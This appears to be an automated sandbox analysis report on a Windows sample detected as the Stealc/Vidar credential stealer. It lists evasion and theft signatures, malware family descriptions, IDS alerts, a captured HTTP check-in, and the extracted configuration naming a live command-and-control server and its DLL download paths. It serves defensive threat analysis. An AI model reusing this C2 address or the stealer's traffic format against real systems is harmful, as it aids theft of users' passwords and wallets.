Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528627
MD5:	8509b1d0b12cf044d13dd9fbb3ee579b
SHA1:	dc83c62582af657323d26fe2114e962ae22c99c1
SHA256:	64db26c376f7d55e6c93a7d149d52b4e1e8f137408bd3cb40ebee452593b3c81
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6544 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8509B1D0B12CF044D13DD9FBB3EE579B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2075701252.0000000005080000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6544	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6544	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6544	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.1abbc8.1.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x24672:$x5: vchost.exe
0.2.file.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T05:27:09.320317+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49706	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T05:27:09.314062+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T05:27:09.536797+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T05:27:10.520292+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T05:27:09.543520+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49706	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T05:27:09.089604+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49706	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T05:27:11.079810+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:16.166802+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:17.252034+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:17.907372+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:18.446496+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:20.374681+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP
2024-10-08T05:27:20.878212+0200	2803304	3	Unknown Traffic	192.168.2.5	49706	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 39 36 34 30 44 34 34 46 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="hwid"049640D44FCB1681895587------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="build"doma------AAEHIDAKECFIEBGDHJEB--

Source: file.exe, 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllA#
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllo
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2272100008.0000000001372000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllk#SL
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dlla
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllq
Source: file.exe, 00000000.00000002.2272100008.0000000001387000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Y-;M
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%X
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php-Y
Source: file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dllU
Source: file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3G
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=X
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpEY#L
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpIX?M
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQY7L
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpUX3M
Source: file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpmX
Source: file.exe, 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2272100008.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpq
Source: file.exe, 00000000.00000002.2272100008.00000000013A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2272100008.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.372b&M
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2288036029.000000001D796000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2300171325.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KJDGDBFBGIDGIEBGHCGI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2294251294.000000002986B000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2152044765.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, DAAFBAKE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/80x1024
Source: file.exe, 00000000.00000003.2233193882.000000002FA3C000.00000004.00000020.00020000.00000000.sdmp, CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2233193882.000000002FA3C000.00000004.00000020.00020000.00000000.sdmp, CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2233193882.000000002FA3C000.00000004.00000020.00020000.00000000.sdmp, CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: file.exe, 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

